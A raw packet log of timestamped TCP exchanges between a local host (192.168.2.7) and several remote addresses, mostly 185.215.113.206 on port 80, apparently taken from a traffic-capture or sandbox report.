Nov 20, 2024 21:05:48.666029930 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.666410923 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.666559935 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.666768074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.667058945 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.667391062 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.667473078 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.667829990 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.667841911 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.667968035 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.668627977 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.668709993 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.669059038 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.669107914 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.669512033 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.669567108 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.669575930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.669653893 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.670506954 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.670610905 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.670655012 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.670852900 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.671286106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.671376944 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.671706915 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.671792030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.672189951 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.672622919 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.672697067 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.673127890 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.673183918 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.673203945 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.673305988 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.673990965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.674098969 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.674212933 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.674515009 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.674882889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.674940109 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.675396919 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.675489902 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.675756931 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.675817966 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.676362991 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.676618099 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.676666975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.676733971 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.676848888 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.676950932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.677578926 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.677684069 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.678026915 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.678170919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.678462029 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.678524017 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.678663015 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.678786039 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.679457903 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.679516077 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.679519892 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.679658890 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.680284977 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.680440903 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.680471897 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.680553913 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.681158066 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.681268930 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.681365013 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.681447983 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.682054043 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.682102919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.682126045 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.682215929 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.682971001 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.683125973 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.683242083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.683336020 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.683892012 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.683957100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.684566975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.684727907 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.684890985 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.684967995 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.685022116 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.685022116 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.685638905 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.685776949 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.686011076 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.686177969 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.686589956 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.686662912 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.686984062 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.687038898 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.687460899 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.687506914 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.687680960 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.687724113 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.688323021 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.688344002 CET	49847	443	192.168.2.7	23.200.88.30
Nov 20, 2024 21:05:48.688376904 CET	443	49847	23.200.88.30	192.168.2.7
Nov 20, 2024 21:05:48.688411951 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.688435078 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.688471079 CET	49847	443	192.168.2.7	23.200.88.30
Nov 20, 2024 21:05:48.688471079 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.688689947 CET	49847	443	192.168.2.7	23.200.88.30
Nov 20, 2024 21:05:48.688708067 CET	443	49847	23.200.88.30	192.168.2.7
Nov 20, 2024 21:05:48.689228058 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.689306021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.689415932 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.689609051 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.690161943 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.690223932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.690325022 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.690375090 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.691086054 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.691143990 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.691761017 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.691811085 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.692035913 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.692049026 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.692079067 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.692178011 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.692857027 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.692914963 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.692960978 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.693027973 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.693742990 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.693840981 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.693852901 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.693896055 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.694618940 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.694704056 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.722493887 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.722557068 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.722635031 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.722651958 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.722687006 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.722791910 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.737531900 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.737579107 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.737664938 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.737664938 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.737679958 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.737736940 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.749387026 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.749429941 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.749511957 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.749511957 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.749521971 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.750047922 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.761521101 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.761563063 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.761605024 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.761614084 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.761651993 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.761674881 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.770500898 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.770560980 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.770611048 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.770625114 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.770668983 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.770746946 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.770967960 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.770978928 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.785058975 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.785128117 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.785156965 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.785177946 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.785207987 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.785223007 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.813023090 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.813075066 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.813095093 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.813116074 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.813153028 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.813154936 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.813173056 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.813206911 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.813216925 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.813216925 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.813230038 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.813265085 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.827646971 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.827687025 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.827744961 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.827759981 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.827790022 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.827814102 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.837842941 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.837862015 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.837925911 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.837925911 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.838139057 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.838185072 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.838664055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.838846922 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.839082003 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.839150906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.839178085 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.839291096 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.839751959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.840022087 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.840089083 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.840596914 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.840672016 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.840970039 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.841111898 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.841547012 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.841770887 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.841881990 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.842406988 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.842473984 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.842562914 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.842773914 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.843306065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.843369007 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.843864918 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.844237089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.844250917 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.844294071 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.844332933 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.845081091 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.845371008 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.845437050 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.845963955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.846014023 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.846157074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.846210003 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.846899986 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.846956015 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.847012043 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.847073078 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.847853899 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.847924948 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.848045111 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.848176003 CET	49848	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.848203897 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.848256111 CET	443	49848	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.848340034 CET	49848	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.848670959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.848757029 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.849217892 CET	49848	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.849242926 CET	443	49848	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.849376917 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.849497080 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.849569082 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.849626064 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.849808931 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.849929094 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.850461006 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.850543022 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.850549936 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.850605011 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.851370096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.851440907 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.851572037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.851811886 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.852256060 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.852385044 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.852618933 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.852788925 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.853157997 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.853362083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.853420019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.854089022 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.854223967 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.854298115 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.854378939 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.854986906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.855026960 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.855304003 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.855643034 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.855926037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.856424093 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.856678963 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.856744051 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.856779099 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.856942892 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.857647896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.857702971 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.857904911 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.858156919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.858613968 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.858678102 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.858814001 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.858871937 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.859421968 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.859525919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.859529018 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.859586000 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.860702991 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.860717058 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.860776901 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.860776901 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.861231089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.861567020 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.861637115 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.862128973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.862181902 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.862485886 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.862545967 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.863122940 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.863136053 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.863197088 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.863197088 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.863928080 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.864085913 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.864164114 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.864872932 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.865200996 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.865226984 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.865381002 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.865767956 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.865782022 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.865835905 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.865835905 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.866611004 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.866664886 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.866785049 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.866822004 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.867516994 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.867564917 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.867615938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.867701054 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.868408918 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.868529081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.868582010 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.868582010 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.869324923 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.869446993 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.869813919 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.869995117 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.870202065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.870240927 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.870270967 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.870348930 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.871104002 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.871226072 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.871246099 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.871284962 CET	49780	80	192.168.2.7	185.215.113.206
